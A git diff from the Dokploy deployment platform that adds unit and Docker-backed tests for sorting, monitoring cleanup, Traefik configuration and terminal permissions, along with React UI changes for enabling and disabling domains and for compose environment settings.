asc/desc", () => { + const domains = [ + makeDomain({ domainId: "old", createdAt: "2023-01-01T00:00:00.000Z" }), + makeDomain({ domainId: "new", createdAt: "2024-06-01T00:00:00.000Z" }), + makeDomain({ domainId: "mid", createdAt: "2023-12-01T00:00:00.000Z" }), + ]; + + expect( + sortOverviewDomains(domains, "createdAt-asc").map((d) => d.domainId), + ).toEqual(["old", "mid", "new"]); + expect( + sortOverviewDomains(domains, "createdAt-desc").map((d) => d.domainId), + ).toEqual(["new", "mid", "old"]); + }); + + test("sorts by port asc/desc, with portless domains always last", () => { + const domains = [ + makeDomain({ domainId: "none", port: null }), + makeDomain({ domainId: "low", port: 80 }), + makeDomain({ domainId: "high", port: 8080 }), + ]; + + expect( + sortOverviewDomains(domains, "port-asc").map((d) => d.domainId), + ).toEqual(["low", "high", "none"]); + expect( + sortOverviewDomains(domains, "port-desc").map((d) => d.domainId), + ).toEqual(["high", "low", "none"]); + }); + + test("port sort with all domains portless is a no-op", () => { + const domains = [ + makeDomain({ domainId: "a", port: null }), + makeDomain({ domainId: "b", port: null }), + ]; + + expect( + sortOverviewDomains(domains, "port-desc").map((d) => d.domainId), + ).toEqual(["a", "b"]); + }); + + test("does not mutate the input array", () => { + const domains = [ + makeDomain({ domainId: "b", port: 8080 }), + makeDomain({ domainId: "a", port: 80 }), + ]; + const original = [...domains]; + + sortOverviewDomains(domains, "port-asc"); + + expect(domains).toEqual(original); + }); +}); diff --git a/apps/dokploy/__test__/services/overview-services-sort.test.ts b/apps/dokploy/__test__/services/overview-services-sort.test.ts new file mode 100644 index 000000000..b90bb05a8 --- /dev/null +++ b/apps/dokploy/__test__/services/overview-services-sort.test.ts @@ -0,0 +1,106 @@ +import type { OverviewService } from "@dokploy/server/services/overview"; +import { sortOverviewServices } from "@dokploy/server/services/overview"; +import { describe, expect, test } from "vitest"; + +const makeService = (overrides: Partial): OverviewService => ({ + id: "id", + type: "application", + name: "name", + appName: "app-name", + status: "running", + createdAt: "2024-01-01T00:00:00.000Z", + serverId: null, + serverName: null, + icon: null, + projectId: "project", + projectName: "Project", + environmentId: "environment", + environmentName: "Environment", + lastDeployAt: null, + ...overrides, +}); + +describe("sortOverviewServices", () => { + test("sorts by name asc/desc", () => { + const services = [ + makeService({ id: "b", name: "Bravo" }), + makeService({ id: "a", name: "Alpha" }), + makeService({ id: "c", name: "Charlie" }), + ]; + + expect(sortOverviewServices(services, "name-asc").map((s) => s.id)).toEqual( + ["a", "b", "c"], + ); + expect( + sortOverviewServices(services, "name-desc").map((s) => s.id), + ).toEqual(["c", "b", "a"]); + }); + + test("sorts by type asc/desc", () => { + const services = [ + makeService({ id: "app", type: "application" }), + makeService({ id: "pg", type: "postgres" }), + makeService({ id: "comp", type: "compose" }), + ]; + + expect(sortOverviewServices(services, "type-asc").map((s) => s.id)).toEqual( + ["app", "comp", "pg"], + ); + expect( + sortOverviewServices(services, "type-desc").map((s) => s.id), + ).toEqual(["pg", "comp", "app"]); + }); + + test("sorts by createdAt asc/desc", () => { + const services = [ + makeService({ id: "old", createdAt: "2023-01-01T00:00:00.000Z" }), + makeService({ id: "new", createdAt: "2024-06-01T00:00:00.000Z" }), + makeService({ id: "mid", createdAt: "2023-12-01T00:00:00.000Z" }), + ]; + + expect( + sortOverviewServices(services, "createdAt-asc").map((s) => s.id), + ).toEqual(["old", "mid", "new"]); + expect( + sortOverviewServices(services, "createdAt-desc").map((s) => s.id), + ).toEqual(["new", "mid", "old"]); + }); + + test("sorts by lastDeploy asc/desc, with never-deployed services always last", () => { + const services = [ + makeService({ id: "never", lastDeployAt: null }), + makeService({ id: "old", lastDeployAt: "2023-01-01T00:00:00.000Z" }), + makeService({ id: "new", lastDeployAt: "2024-06-01T00:00:00.000Z" }), + ]; + + expect( + sortOverviewServices(services, "lastDeploy-desc").map((s) => s.id), + ).toEqual(["new", "old", "never"]); + expect( + sortOverviewServices(services, "lastDeploy-asc").map((s) => s.id), + ).toEqual(["old", "new", "never"]); + }); + + test("lastDeploy sort with all services never deployed is a no-op", () => { + const services = [ + makeService({ id: "a", lastDeployAt: null }), + makeService({ id: "b", lastDeployAt: null }), + ]; + + expect( + sortOverviewServices(services, "lastDeploy-desc").map((s) => s.id), + ).toEqual(["a", "b"]); + }); + + test("does not mutate the input array", () => { + const services = [ + makeService({ id: "b", name: "Bravo" }), + makeService({ id: "a", name: "Alpha" }), + ]; + const original = [...services]; + + sortOverviewServices(services, "name-asc"); + + expect(services).toEqual(original); + }); +}); diff --git a/apps/dokploy/__test__/setup/monitoring-setup.real.test.ts b/apps/dokploy/__test__/setup/monitoring-setup.real.test.ts new file mode 100644 index 000000000..d16a75a40 --- /dev/null +++ b/apps/dokploy/__test__/setup/monitoring-setup.real.test.ts @@ -0,0 +1,236 @@ +import { execSync } from "node:child_process"; +import { docker } from "@dokploy/server/constants"; +import { setupMonitoring } from "@dokploy/server/setup/monitoring-setup"; +import { afterAll, beforeEach, describe, expect, it, vi } from "vitest"; + +const REAL_TEST_TIMEOUT = 120000; +const SERVICE_NAME = "dokploy-monitoring"; +const TEST_IMAGE = "busybox:latest"; + +// Mock ONLY db-backed lookups and remote I/O. Dockerode stays real and talks to +// the local daemon, so the legacy-container cleanup is exercised for real. +vi.mock("@dokploy/server/services/server", () => ({ + findServerById: vi.fn().mockResolvedValue({ + serverId: "test-server", + serverType: "deploy", + sshKeyId: null, // -> getRemoteDocker returns the local docker instance + metricsConfig: { + server: { + type: "Remote", + port: 4500, + token: "test-token", + urlCallback: "http://localhost/callback", + cronJob: "0 0 * * *", + retentionDays: 2, + refreshRate: 60, + thresholds: { cpu: 0, memory: 0 }, + }, + containers: { refreshRate: 60, services: { include: [], exclude: [] } }, + }, + }), +})); + +vi.mock("@dokploy/server/services/settings", () => ({ + getDokployImageTag: vi.fn(() => "latest"), +})); + +vi.mock("@dokploy/server/utils/docker/utils", () => ({ + pullImage: vi.fn().mockResolvedValue(undefined), + pullRemoteImage: vi.fn().mockResolvedValue(undefined), +})); + +vi.mock("@dokploy/server/utils/process/execAsync", () => ({ + execAsync: vi.fn().mockResolvedValue({ stdout: "", stderr: "" }), + execAsyncRemote: vi.fn().mockResolvedValue({ stdout: "", stderr: "" }), +})); + +const containerExists = async (name: string) => { + try { + await docker.getContainer(name).inspect(); + return true; + } catch (error: any) { + if (error.statusCode === 404) return false; + throw error; + } +}; + +const serviceExists = async (name: string) => { + try { + await docker.getService(name).inspect(); + return true; + } catch (error: any) { + if (error.statusCode === 404) return false; + throw error; + } +}; + +const swarmTaskNames = async () => { + const list = await docker.listContainers({ all: true }); + return list + .flatMap((c) => c.Names.map((n) => n.replace(/^\//, ""))) + .filter((n) => n.startsWith(`${SERVICE_NAME}.`)); +}; + +const cleanup = async () => { + try { + await docker.getService(SERVICE_NAME).remove(); + } catch {} + try { + await docker.getContainer(SERVICE_NAME).remove({ force: true }); + } catch {} + for (const name of await swarmTaskNames()) { + try { + await docker.getContainer(name).remove({ force: true }); + } catch {} + } +}; + +// Recreates the pre-v0.30.0 standalone agent stuck in a crash loop. +const createLegacyZombie = async () => { + const container = await docker.createContainer({ + name: SERVICE_NAME, + Image: TEST_IMAGE, + Cmd: [ + "sh", + "-c", + "echo 'Error starting metrics cleanup system: empty spec string'; exit 1", + ], + HostConfig: { RestartPolicy: { Name: "always" }, NetworkMode: "host" }, + }); + await container.start(); +}; + +const pullTestImage = async () => { + try { + await docker.getImage(TEST_IMAGE).inspect(); + return; + } catch {} + await new Promise((resolve, reject) => + docker.pull(TEST_IMAGE, (err: any, stream: any) => + err + ? reject(err) + : docker.modem.followProgress(stream, (e: any) => + e ? reject(e) : resolve(), + ), + ), + ); +}; + +// The code under test hardcodes the production name, so this suite cannot +// namespace its fixtures. Skip rather than wipe a real agent on a Dokploy host. +const hasRealMonitoring = () => { + const query = (cmd: string) => { + try { + return execSync(cmd, { stdio: ["ignore", "pipe", "ignore"] }) + .toString() + .trim(); + } catch { + return ""; + } + }; + + return ( + query( + `docker service ls --filter name=${SERVICE_NAME} --format '{{.Name}}'`, + ) !== "" || + query( + `docker ps -a --filter name=^${SERVICE_NAME}$ --format '{{.Names}}'`, + ) !== "" + ); +}; + +describe.skipIf(hasRealMonitoring())( + "setupMonitoring - legacy container cleanup (real docker)", + () => { + beforeEach(async () => { + await pullTestImage(); + await cleanup(); + }, REAL_TEST_TIMEOUT); + + afterAll(async () => { + await cleanup(); + }, REAL_TEST_TIMEOUT); + + it( + "removes the legacy standalone container left behind by the swarm migration", + async () => { + await createLegacyZombie(); + expect(await containerExists(SERVICE_NAME)).toBe(true); + + await setupMonitoring("test-server"); + + expect(await containerExists(SERVICE_NAME)).toBe(false); + expect(await serviceExists(SERVICE_NAME)).toBe(true); + }, + REAL_TEST_TIMEOUT, + ); + + it( + "removes the legacy container without touching swarm tasks, which are named dokploy-monitoring..", + async () => { + const taskName = `${SERVICE_NAME}.1.qh3ldvg2h9x0test`; + const task = await docker.createContainer({ + name: taskName, + Image: TEST_IMAGE, + Cmd: ["sleep", "3600"], + }); + await task.start(); + await createLegacyZombie(); + + await setupMonitoring("test-server"); + + expect(await containerExists(SERVICE_NAME)).toBe(false); + expect(await containerExists(taskName)).toBe(true); + const inspect = await docker.getContainer(taskName).inspect(); + expect(inspect.State.Running).toBe(true); + }, + REAL_TEST_TIMEOUT, + ); + + it( + "is idempotent when no legacy container exists", + async () => { + expect(await containerExists(SERVICE_NAME)).toBe(false); + + await expect(setupMonitoring("test-server")).resolves.not.toThrow(); + await expect(setupMonitoring("test-server")).resolves.not.toThrow(); + + expect(await serviceExists(SERVICE_NAME)).toBe(true); + }, + REAL_TEST_TIMEOUT, + ); + + it( + "deploys the service even when removing the legacy container fails", + async () => { + const failingDocker = { + getContainer: () => ({ + remove: async () => { + const error: any = new Error("device or resource busy"); + error.statusCode = 500; + throw error; + }, + }), + getService: docker.getService.bind(docker), + createService: docker.createService.bind(docker), + }; + + const remoteDocker = await import( + "@dokploy/server/utils/servers/remote-docker" + ); + const spy = vi + .spyOn(remoteDocker, "getRemoteDocker") + .mockResolvedValue(failingDocker as any); + + try { + await expect(setupMonitoring("test-server")).resolves.not.toThrow(); + expect(spy).toHaveBeenCalled(); // guards against the spy silently not intercepting + expect(await serviceExists(SERVICE_NAME)).toBe(true); + } finally { + spy.mockRestore(); + } + }, + REAL_TEST_TIMEOUT, + ); + }, +); diff --git a/apps/dokploy/__test__/traefik/forward-auth.test.ts b/apps/dokploy/__test__/traefik/forward-auth.test.ts index 9bc9a1f9e..7b2ecca63 100644 --- a/apps/dokploy/__test__/traefik/forward-auth.test.ts +++ b/apps/dokploy/__test__/traefik/forward-auth.test.ts @@ -35,6 +35,7 @@ const baseDomain: Domain = { stripPath: false, middlewares: null, forwardAuthEnabled: false, + enabled: true, }; describe("forwardAuthMiddlewareName", () => { diff --git a/apps/dokploy/__test__/traefik/reconnect-services.test.ts b/apps/dokploy/__test__/traefik/reconnect-services.test.ts new file mode 100644 index 000000000..a60b0504b --- /dev/null +++ b/apps/dokploy/__test__/traefik/reconnect-services.test.ts @@ -0,0 +1,71 @@ +import { reconnectServicesToTraefik } from "@dokploy/server/services/settings"; +import { beforeEach, describe, expect, it, vi } from "vitest"; + +const mocks = vi.hoisted(() => ({ + findMany: vi.fn(), + execAsync: vi.fn(), + execAsyncRemote: vi.fn(), +})); + +vi.mock("@dokploy/server/db", () => ({ + db: { + query: { + compose: { + findMany: mocks.findMany, + }, + }, + }, +})); + +vi.mock("@dokploy/server/utils/process/execAsync", () => ({ + execAsync: mocks.execAsync, + execAsyncRemote: mocks.execAsyncRemote, +})); + +describe("reconnectServicesToTraefik", () => { + beforeEach(() => { + vi.clearAllMocks(); + mocks.findMany.mockResolvedValue([]); + }); + + it("does not execute an empty local command when no isolated deployments exist", async () => { + await reconnectServicesToTraefik(); + + expect(mocks.execAsync).not.toHaveBeenCalled(); + }); + + it("does not execute an empty remote command when no isolated deployments exist", async () => { + await reconnectServicesToTraefik("server-id"); + + expect(mocks.execAsyncRemote).not.toHaveBeenCalled(); + }); + + it("reconnects isolated deployments to the local Traefik network", async () => { + mocks.findMany.mockResolvedValue([ + { appName: "first-compose" }, + { appName: "second-compose" }, + ]); + + await reconnectServicesToTraefik(); + + expect(mocks.execAsync).toHaveBeenCalledOnce(); + expect(mocks.execAsync).toHaveBeenCalledWith( + 'docker network connect first-compose $(docker ps --filter "name=dokploy-traefik" -q) >/dev/null 2>&1\n' + + 'docker network connect second-compose $(docker ps --filter "name=dokploy-traefik" -q) >/dev/null 2>&1\n', + ); + expect(mocks.execAsyncRemote).not.toHaveBeenCalled(); + }); + + it("reconnects isolated deployments on a remote server", async () => { + mocks.findMany.mockResolvedValue([{ appName: "remote-compose" }]); + + await reconnectServicesToTraefik("server-id"); + + expect(mocks.execAsyncRemote).toHaveBeenCalledOnce(); + expect(mocks.execAsyncRemote).toHaveBeenCalledWith( + "server-id", + 'docker network connect remote-compose $(docker ps --filter "name=dokploy-traefik" -q) >/dev/null 2>&1\n', + ); + expect(mocks.execAsync).not.toHaveBeenCalled(); + }); +}); diff --git a/apps/dokploy/__test__/traefik/traefik.test.ts b/apps/dokploy/__test__/traefik/traefik.test.ts index b7b0f5645..379c63a00 100644 --- a/apps/dokploy/__test__/traefik/traefik.test.ts +++ b/apps/dokploy/__test__/traefik/traefik.test.ts @@ -151,6 +151,7 @@ const baseDomain: Domain = { stripPath: false, middlewares: null, forwardAuthEnabled: false, + enabled: true, }; const baseRedirect: Redirect = { diff --git a/apps/dokploy/__test__/traefik/write-app-traefik-config.test.ts b/apps/dokploy/__test__/traefik/write-app-traefik-config.test.ts new file mode 100644 index 000000000..90c1ba60a --- /dev/null +++ b/apps/dokploy/__test__/traefik/write-app-traefik-config.test.ts @@ -0,0 +1,116 @@ +import fs from "node:fs"; +import os from "node:os"; +import path from "node:path"; +import { writeAppTraefikConfig } from "@dokploy/server/utils/traefik/application"; +import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; + +const mocks = vi.hoisted(() => ({ + execAsyncRemote: vi.fn(), +})); + +vi.mock("@dokploy/server/utils/process/execAsync", async (importOriginal) => { + const actual = + await importOriginal< + typeof import("@dokploy/server/utils/process/execAsync") + >(); + return { + ...actual, + execAsyncRemote: mocks.execAsyncRemote, + }; +}); + +describe("writeAppTraefikConfig", () => { + let cwd: string; + let dynamicPath: string; + + beforeEach(() => { + cwd = fs.mkdtempSync(path.join(os.tmpdir(), "dokploy-traefik-")); + dynamicPath = path.join(cwd, ".docker", "traefik", "dynamic"); + fs.mkdirSync(dynamicPath, { recursive: true }); + vi.spyOn(process, "cwd").mockReturnValue(cwd); + vi.clearAllMocks(); + }); + + afterEach(() => { + vi.restoreAllMocks(); + fs.rmSync(cwd, { recursive: true, force: true }); + }); + + // Regression test for #5189: Traefik's file provider rejects a standalone + // `routers: {}` / `services: {}` map and aborts its watcher for every + // dynamic config once it hits one, so an app with no domains must never + // get an on-disk config file at all. + it("removes the file instead of writing empty routers/services", async () => { + const appName = "no-domain-app"; + const configPath = path.join(dynamicPath, `${appName}.yml`); + fs.writeFileSync(configPath, "stale content", "utf8"); + + await writeAppTraefikConfig( + { http: { routers: {}, services: {} } }, + appName, + ); + + expect(fs.existsSync(configPath)).toBe(false); + }); + + it("writes the file when routers/services are present", async () => { + const appName = "with-domain-app"; + const configPath = path.join(dynamicPath, `${appName}.yml`); + + await writeAppTraefikConfig( + { + http: { + routers: { + [`${appName}-router-1`]: { + rule: "Host(`x`)", + service: `${appName}-service`, + }, + }, + services: {}, + }, + }, + appName, + ); + + expect(fs.existsSync(configPath)).toBe(true); + }); + + it("removes the remote file instead of writing empty routers/services", async () => { + mocks.execAsyncRemote.mockResolvedValue({ stdout: "", stderr: "" }); + + await writeAppTraefikConfig( + { http: { routers: {}, services: {} } }, + "no-domain-app", + "server-id", + ); + + expect(mocks.execAsyncRemote).toHaveBeenCalledOnce(); + const [, command] = mocks.execAsyncRemote.mock.calls[0] ?? []; + expect(command).toMatch(/^rm -f /); + expect(command).toContain("no-domain-app.yml"); + }); + + it("writes the remote file when routers/services are present", async () => { + mocks.execAsyncRemote.mockResolvedValue({ stdout: "", stderr: "" }); + + await writeAppTraefikConfig( + { + http: { + routers: { + "with-domain-app-router-1": { + rule: "Host(`x`)", + service: "with-domain-app-service", + }, + }, + services: {}, + }, + }, + "with-domain-app", + "server-id", + ); + + expect(mocks.execAsyncRemote).toHaveBeenCalledOnce(); + const [, command] = mocks.execAsyncRemote.mock.calls[0] ?? []; + expect(command).toMatch(/^echo /); + }); +}); diff --git a/apps/dokploy/__test__/wss/authorize.test.ts b/apps/dokploy/__test__/wss/authorize.test.ts index 1b93b9f87..63fe1b9ac 100644 --- a/apps/dokploy/__test__/wss/authorize.test.ts +++ b/apps/dokploy/__test__/wss/authorize.test.ts @@ -95,10 +95,35 @@ describe("canAccessTerminalOverWss", () => { }); it("gates a remote server terminal on server access", async () => { + mockHasPermission.mockResolvedValue(true); mockGetAccessibleServerIds.mockResolvedValue(new Set(["srv-1"])); expect(await canAccessTerminalOverWss(USER, SESSION, "srv-1")).toBe(true); expect(await canAccessTerminalOverWss(USER, SESSION, "srv-2")).toBe(false); - // role lookup must not be needed for the remote path + // the remote path must never fall through to the owner/admin local branch expect(mockFindMember).not.toHaveBeenCalled(); }); + + it("denies a remote server terminal without the server.terminal permission", async () => { + // Reaching a server (to deploy on it) must not imply a root shell on it. + mockGetAccessibleServerIds.mockResolvedValue(new Set(["srv-1"])); + mockHasPermission.mockResolvedValue(false); + expect(await canAccessTerminalOverWss(USER, SESSION, "srv-1")).toBe(false); + expect(mockHasPermission).toHaveBeenCalledWith( + { user: { id: USER.id }, session: { activeOrganizationId: "org-1" } }, + { server: ["terminal"] }, + ); + }); + + it("allows a remote server terminal with the server.terminal permission", async () => { + mockGetAccessibleServerIds.mockResolvedValue(new Set(["srv-1"])); + mockHasPermission.mockResolvedValue(true); + expect(await canAccessTerminalOverWss(USER, SESSION, "srv-1")).toBe(true); + }); + + it("does not check permissions for a server the caller cannot access", async () => { + mockGetAccessibleServerIds.mockResolvedValue(new Set(["srv-1"])); + mockHasPermission.mockResolvedValue(true); + expect(await canAccessTerminalOverWss(USER, SESSION, "srv-2")).toBe(false); + expect(mockHasPermission).not.toHaveBeenCalled(); + }); }); diff --git a/apps/dokploy/__test__/wss/readValidDirectory.test.ts b/apps/dokploy/__test__/wss/readValidDirectory.test.ts index 29d3152eb..fdb4263e1 100644 --- a/apps/dokploy/__test__/wss/readValidDirectory.test.ts +++ b/apps/dokploy/__test__/wss/readValidDirectory.test.ts @@ -94,4 +94,32 @@ describe("readValidDirectory (path traversal)", () => { ), ).toBe(true); }); + + it("returns true for SvelteKit routes with + prefix and @ symbols", () => { + expect( + readValidDirectory( + `${BASE}/applications/myapp/code/src/routes/+page.svelte`, + ), + ).toBe(true); + expect( + readValidDirectory( + `${BASE}/applications/myapp/code/src/routes/+layout.svelte`, + ), + ).toBe(true); + expect( + readValidDirectory( + `${BASE}/applications/myapp/code/src/routes/+server.ts`, + ), + ).toBe(true); + expect( + readValidDirectory( + `${BASE}/applications/myapp/code/src/routes/+error.svelte`, + ), + ).toBe(true); + expect( + readValidDirectory( + `${BASE}/applications/myapp/code/node_modules/@types/node/index.d.ts`, + ), + ).toBe(true); + }); }); diff --git a/apps/dokploy/components/dashboard/application/advanced/cluster/show-cluster-settings.tsx b/apps/dokploy/components/dashboard/application/advanced/cluster/show-cluster-settings.tsx index 95f849480..ae3392473 100644 --- a/apps/dokploy/components/dashboard/application/advanced/cluster/show-cluster-settings.tsx +++ b/apps/dokploy/components/dashboard/application/advanced/cluster/show-cluster-settings.tsx @@ -187,7 +187,7 @@ export const ShowClusterSettings = ({ id, type }: Props) => { To use a cluster feature, you need to configure at least a registry first. Please, go to{" "} Settings diff --git a/apps/dokploy/components/dashboard/application/advanced/redirects/handle-redirect.tsx b/apps/dokploy/components/dashboard/application/advanced/redirects/handle-redirect.tsx index 56df21c73..9b24d8650 100644 --- a/apps/dokploy/components/dashboard/application/advanced/redirects/handle-redirect.tsx +++ b/apps/dokploy/components/dashboard/application/advanced/redirects/handle-redirect.tsx @@ -234,7 +234,7 @@ export const HandleRedirect = ({ Replacement - + diff --git a/apps/dokploy/components/dashboard/application/deployments/show-deployment.tsx b/apps/dokploy/components/dashboard/application/deployments/show-deployment.tsx index dec8747fb..f71a3ec10 100644 --- a/apps/dokploy/components/dashboard/application/deployments/show-deployment.tsx +++ b/apps/dokploy/components/dashboard/application/deployments/show-deployment.tsx @@ -148,7 +148,7 @@ export const ShowDeployment = ({ See all the details of this deployment |{" "} - + {filteredLogs.length} lines diff --git a/apps/dokploy/components/dashboard/application/deployments/show-deployments.tsx b/apps/dokploy/components/dashboard/application/deployments/show-deployments.tsx index 1a531e24c..b3be371ca 100644 --- a/apps/dokploy/components/dashboard/application/deployments/show-deployments.tsx +++ b/apps/dokploy/components/dashboard/application/deployments/show-deployments.tsx @@ -342,7 +342,7 @@ export const ShowDeployments = ({ )} {/* Hash (from description) - shown in compact form */} {deployment.description?.trim() && ( - + {deployment.description} )} diff --git a/apps/dokploy/components/dashboard/application/domains/columns.tsx b/apps/dokploy/components/dashboard/application/domains/columns.tsx index 816fbbb8d..506bb9cb8 100644 --- a/apps/dokploy/components/dashboard/application/domains/columns.tsx +++ b/apps/dokploy/components/dashboard/application/domains/columns.tsx @@ -14,6 +14,7 @@ import Link from "next/link"; import { DialogAction } from "@/components/shared/dialog-action"; import { Badge } from "@/components/ui/badge"; import { Button } from "@/components/ui/button"; +import { Switch } from "@/components/ui/switch"; import { Tooltip, TooltipContent, @@ -35,7 +36,9 @@ interface ColumnsProps { validationStates: ValidationStates; handleValidateDomain: (host: string) => Promise; handleDeleteDomain: (domainId: string) => Promise; + handleToggleEnable: (domainId: string) => Promise; isDeleting: boolean; + isToggling: boolean; serverIp?: string; canCreateDomain: boolean; canDeleteDomain: boolean; @@ -47,7 +50,9 @@ export const createColumns = ({ validationStates, handleValidateDomain, handleDeleteDomain, + handleToggleEnable, isDeleting, + isToggling, serverIp, canCreateDomain, canDeleteDomain, @@ -249,6 +254,42 @@ export const createColumns = ({ ); }, }, + { + id: "status", + header: "Status", + cell: ({ row }) => { + const domain = row.original; + if (!canCreateDomain) { + return ( + + {domain.enabled ? "Enabled" : "Disabled"} + + ); + } + return ( + + + +
+ handleToggleEnable(domain.domainId)} + disabled={isToggling} + /> +
+
+ +

+ {domain.enabled + ? "Domain is active. Toggle to disable routing without deleting it." + : "Domain is disabled and not routed. Toggle to enable it again."} +

+
+
+
+ ); + }, + }, { id: "actions", header: "Actions", diff --git a/apps/dokploy/components/dashboard/application/domains/handle-domain.tsx b/apps/dokploy/components/dashboard/application/domains/handle-domain.tsx index be8901921..8bb763add 100644 --- a/apps/dokploy/components/dashboard/application/domains/handle-domain.tsx +++ b/apps/dokploy/components/dashboard/application/domains/handle-domain.tsx @@ -46,6 +46,7 @@ import { TooltipTrigger, } from "@/components/ui/tooltip"; import { api } from "@/utils/api"; +import { COMPOSE_REDEPLOY_TOAST, ComposeRedeployAlert } from "./redeploy-hint"; export type CacheType = "fetch" | "cache"; @@ -300,7 +301,12 @@ export const AddDomain = ({ id, type, domainId = "", children }: Props) => { customEntrypoint: data.useCustomEntrypoint ? data.customEntrypoint : null, }) .then(async () => { - toast.success(dictionary.success); + toast.success( + dictionary.success, + data.domainType === "compose" + ? { description: COMPOSE_REDEPLOY_TOAST } + : undefined, + ); if (data.domainType === "application") { await utils.domain.byApplicationId.invalidate({ @@ -337,12 +343,7 @@ export const AddDomain = ({ id, type, domainId = "", children }: Props) => { {isError && {error?.message}} - {type === "compose" && ( - - Whenever you make changes to domains, remember to redeploy your - compose to apply the changes. - - )} + {type === "compose" && }
( + + {COMPOSE_REDEPLOY_HINT} + +); diff --git a/apps/dokploy/components/dashboard/application/domains/show-domains.tsx b/apps/dokploy/components/dashboard/application/domains/show-domains.tsx index 23d9e46bb..f4206ee95 100644 --- a/apps/dokploy/components/dashboard/application/domains/show-domains.tsx +++ b/apps/dokploy/components/dashboard/application/domains/show-domains.tsx @@ -44,6 +44,7 @@ import { DropdownMenuTrigger, } from "@/components/ui/dropdown-menu"; import { Input } from "@/components/ui/input"; +import { Switch } from "@/components/ui/switch"; import { Table, TableBody, @@ -58,11 +59,13 @@ import { TooltipProvider, TooltipTrigger, } from "@/components/ui/tooltip"; +import { cn } from "@/lib/utils"; import { api } from "@/utils/api"; import { createColumns } from "./columns"; import { DnsHelperModal } from "./dns-helper-modal"; import { AddDomain } from "./handle-domain"; import { HandleForwardAuth } from "./handle-forward-auth"; +import { COMPOSE_REDEPLOY_TOAST, ComposeRedeployAlert } from "./redeploy-hint"; export type ValidationState = { isLoading: boolean; @@ -146,12 +149,34 @@ export const ShowDomains = ({ id, type }: Props) => { api.domain.validateDomain.useMutation(); const { mutateAsync: deleteDomain, isPending: isRemoving } = api.domain.delete.useMutation(); + const { mutateAsync: toggleEnable, isPending: isToggling } = + api.domain.toggleEnable.useMutation(); + + const handleToggleEnable = async (domainId: string) => { + try { + const result = await toggleEnable({ domainId }); + refetch(); + toast.success( + result.enabled ? "Domain enabled" : "Domain disabled", + result.requiresRedeploy + ? { description: COMPOSE_REDEPLOY_TOAST } + : undefined, + ); + } catch { + toast.error("Error updating the domain"); + } + }; const handleDeleteDomain = async (domainId: string) => { try { await deleteDomain({ domainId }); refetch(); - toast.success("Domain deleted successfully"); + toast.success( + "Domain deleted successfully", + type === "compose" + ? { description: COMPOSE_REDEPLOY_TOAST } + : undefined, + ); } catch { toast.error("Error deleting domain"); } @@ -166,8 +191,7 @@ export const ShowDomains = ({ id, type }: Props) => { try { const result = await validateDomain({ domain: host, - serverIp: - application?.server?.ipAddress?.toString() || ip?.toString() || "", + serverId: application?.serverId ?? undefined, }); setValidationStates((prev) => ({ @@ -200,7 +224,9 @@ export const ShowDomains = ({ id, type }: Props) => { validationStates, handleValidateDomain, handleDeleteDomain, + handleToggleEnable, isDeleting: isRemoving, + isToggling, serverIp: application?.server?.ipAddress?.toString() || ip?.toString(), canCreateDomain, canDeleteDomain, @@ -265,6 +291,11 @@ export const ShowDomains = ({ id, type }: Props) => { )} + {type === "compose" && data && data.length > 0 && ( +
+ +
+ )} {isLoadingDomains ? (
@@ -413,7 +444,10 @@ export const ShowDomains = ({ id, type }: Props) => { return (
@@ -466,18 +500,7 @@ export const ShowDomains = ({ id, type }: Props) => { description="Are you sure you want to delete this domain?" type="destructive" onClick={async () => { - await deleteDomain({ - domainId: item.domainId, - }) - .then((_data) => { - refetch(); - toast.success( - "Domain deleted successfully", - ); - }) - .catch(() => { - toast.error("Error deleting domain"); - }); + await handleDeleteDomain(item.domainId); }} >
-
- - {item.host} - - +
+
+ + {item.host} + + +
+ {canCreateDomain && ( + + + +
+ + handleToggleEnable(item.domainId) + } + disabled={isToggling} + /> +
+
+ +

+ {item.enabled + ? "Domain is active. Toggle to disable routing without deleting it." + : "Domain is disabled and not routed. Toggle to enable it again."} +

+
+
+
+ )}
{/* Domain Details */} diff --git a/apps/dokploy/components/dashboard/application/environment/show-environment.tsx b/apps/dokploy/components/dashboard/application/environment/show-environment.tsx index f5327818f..b4bfff617 100644 --- a/apps/dokploy/components/dashboard/application/environment/show-environment.tsx +++ b/apps/dokploy/components/dashboard/application/environment/show-environment.tsx @@ -5,6 +5,7 @@ import { useForm } from "react-hook-form"; import { toast } from "sonner"; import { z } from "zod"; import { CodeEditor } from "@/components/shared/code-editor"; +import { useEnvCompletionSource } from "@/components/shared/env-autocomplete"; import { Button } from "@/components/ui/button"; import { Card, @@ -16,16 +17,20 @@ import { import { Form, FormControl, + FormDescription, FormField, FormItem, + FormLabel, FormMessage, } from "@/components/ui/form"; +import { Switch } from "@/components/ui/switch"; import { Toggle } from "@/components/ui/toggle"; import { api } from "@/utils/api"; import type { ServiceType } from "../advanced/show-resources"; const addEnvironmentSchema = z.object({ environment: z.string(), + createEnvFile: z.boolean(), }); type EnvironmentSchema = z.infer; @@ -54,6 +59,12 @@ export const ShowEnvironment = ({ id, type }: Props) => { ? queryMap[type]() : api.mongo.one.useQuery({ mongoId: id }, { enabled: !!id }); const [isEnvVisible, setIsEnvVisible] = useState(true); + const completionSource = useEnvCompletionSource({ + projectEnv: data?.environment?.project?.env, + environmentEnv: data?.environment?.env, + projectId: data?.environment?.projectId, + environmentId: data?.environment?.environmentId, + }); const mutationMap = { compose: () => api.compose.saveEnvironment.useMutation(), @@ -71,18 +82,32 @@ export const ShowEnvironment = ({ id, type }: Props) => { const form = useForm({ defaultValues: { environment: "", + createEnvFile: true, }, resolver: zodResolver(addEnvironmentSchema), }); // Watch form value const currentEnvironment = form.watch("environment"); - const hasChanges = currentEnvironment !== (data?.env || ""); + const currentCreateEnvFile = form.watch("createEnvFile"); + const composeData = + type === "compose" + ? (data as { createEnvFile?: boolean; sourceType?: string } | undefined) + : undefined; + + const showCreateEnvFileToggle = + type === "compose" && + (composeData?.sourceType !== "raw" || composeData?.createEnvFile === false); + const hasChanges = + currentEnvironment !== (data?.env || "") || + (showCreateEnvFileToggle && + currentCreateEnvFile !== (composeData?.createEnvFile ?? true)); useEffect(() => { if (data) { form.reset({ environment: data.env || "", + createEnvFile: composeData?.createEnvFile ?? true, }); } }, [data, form]); @@ -97,6 +122,9 @@ export const ShowEnvironment = ({ id, type }: Props) => { postgresId: id || "", redisId: id || "", env: formData.environment, + ...(type === "compose" && { + createEnvFile: formData.createEnvFile, + }), }) .then(async () => { toast.success("Environments Added"); @@ -110,6 +138,7 @@ export const ShowEnvironment = ({ id, type }: Props) => { const handleCancel = () => { form.reset({ environment: data?.env || "", + createEnvFile: 